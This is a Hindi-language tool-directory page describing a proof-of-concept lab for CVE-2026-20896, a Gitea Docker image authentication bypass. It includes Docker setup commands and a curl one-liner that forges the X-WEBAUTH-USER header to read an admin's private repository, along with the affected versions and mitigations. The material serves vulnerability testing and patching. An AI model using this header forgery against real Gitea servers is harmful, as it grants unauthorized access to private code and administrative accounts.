Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-20896 — CVE-2026-20896 का प्रमाण-अवधारणा लैब और Python/cURL स्क्रिप्ट्स, जो आधिकारिक Gitea Docker इमेज में X-WEBAUTH-USER हेडर के माध्यम से प्रमाणीकरण बायपास को प्रदर्शित करते हैं। | Kitploit
उपकरण/GitHubGitHub/yym8538/cve-2026-20896
कंटेनर सुरक्षाभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगप्रमाणीकरणलैब और अभ्यास
GitHubyym8538/cve-2026-20896

CVE-2026-20896

CVE-2026-20896 का प्रमाण-अवधारणा लैब और Python/cURL स्क्रिप्ट्स, जो आधिकारिक Gitea Docker इमेज में X-WEBAUTH-USER हेडर के माध्यम से प्रमाणीकरण बायपास को प्रदर्शित करते हैं।

1172 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें

CVE-2026-20896: Gitea Docker Image प्रमाणीकरण बायपास PoC

[!WARNING] इस PoC का उपयोग केवल स्थानीय लैब में या किसी ऐसे सिस्टम के विरुद्ध करें जिसका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है।

https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b

अवलोकन

CVE-2026-20896 प्रभावित आधिकारिक Gitea Docker इमेज में एक प्रमाणीकरण बायपास है। जब रिवर्स-प्रॉक्सी प्रमाणीकरण सक्षम होता है, तो इमेज द्वारा उत्पन्न REVERSE_PROXY_TRUSTED_PROXIES = * सेटिंग एक ऐसे क्लाइंट को अनुमति देती है जो Gitea बैकएंड तक पहुँच सकता है, X-WEBAUTH-USER हेडर के माध्यम से किसी मौजूदा उपयोगकर्ता का रूप धारण कर सकता है।

लैब gitea-admin नामक एक व्यवस्थापक बनाती है जिसका पासवर्ड यादृच्छिक होता है और निजी रिपॉजिटरी gitea-admin/private-proof में CVE-2026-20896_AUTH_BYPASS_CONFIRMED संग्रहीत करती है। यादृच्छिक व्यवस्थापक पासवर्ड जाने बिना उस फ़ाइल को पढ़ना बायपास को प्रदर्शित करता है।

प्रभावित संस्करण

श्रेणीसंस्करण
भेद्यआधिकारिक gitea/gitea Docker इमेज ≤ 1.26.2
पहला पैच किया गया1.26.3
अनुशंसित1.26.4 या बाद का

भेद्य कॉन्फ़िगरेशन के लिए आवश्यक है कि रिवर्स-प्रॉक्सी प्रमाणीकरण सक्षम हो और Gitea बैकएंड सीधे पहुँच योग्य हो, या कोई अपस्ट्रीम प्रॉक्सी हमलावर द्वारा प्रदान किए गए पहचान हेडर को संरक्षित करे। इस स्थानीय पुनरुत्पादन के लिए रिवर्स-प्रॉक्सी कंटेनर की आवश्यकता नहीं है।

वातावरण

# build
docker build -t cve-2026-20896-gitea-vuln .

# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln

Gitea और निजी प्रूफ रिपॉजिटरी के आरंभ होने के लिए कुछ सेकंड प्रतीक्षा करें।

PoC

cURL

curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt

सफल शोषण CVE-2026-20896_AUTH_BYPASS_CONFIRMED लौटाता है।

Python

python poc.py http://127.0.0.1:3000

स्क्रिप्ट अनधिकृत, गैर-व्यवस्थापक, और जाली व्यवस्थापक अनुरोधों की तुलना करती है और जब प्राधिकरण बायपास की पुष्टि होती है तो VULNERABLE प्रिंट करती है। इसके लिए Python 3.10 या बाद का संस्करण आवश्यक है और यह केवल मानक लाइब्रेरी का उपयोग करती है।

प्रभाव

  • ज्ञात या अनुमानित Gitea उपयोगकर्ताओं का रूप धारण करना
  • निजी रिपॉजिटरी और उपयोगकर्ता संसाधनों तक अनधिकृत पहुँच
  • व्यवस्थापक खाते का रूप धारण करने पर प्रशासनिक कार्रवाइयाँ

शमन

  • Gitea 1.26.3 या बाद के संस्करण में अपग्रेड करें; 1.26.4 या बाद का संस्करण अनुशंसित है।
  • REVERSE_PROXY_TRUSTED_PROXIES को विश्वसनीय प्रॉक्सी पतों तक सीमित करें।
  • Gitea बैकएंड तक सीधी पहुँच रोकें और बाहरी रूप से प्रदान किए गए पहचान हेडर को अधिलेखित करें।
  • जब आवश्यक न हो तो रिवर्स-प्रॉक्सी प्रमाणीकरण अक्षम करें।

सफ़ाई

docker stop cve-2026-20896-gitea-vuln

संदर्भ

  • Gitea Security Advisory GHSA-f75j-4cw6-rmx4
  • Gitea 1.26.3 and 1.26.4 release announcement
  • Gitea security fix PR #38151
टूल डाउनलोड करें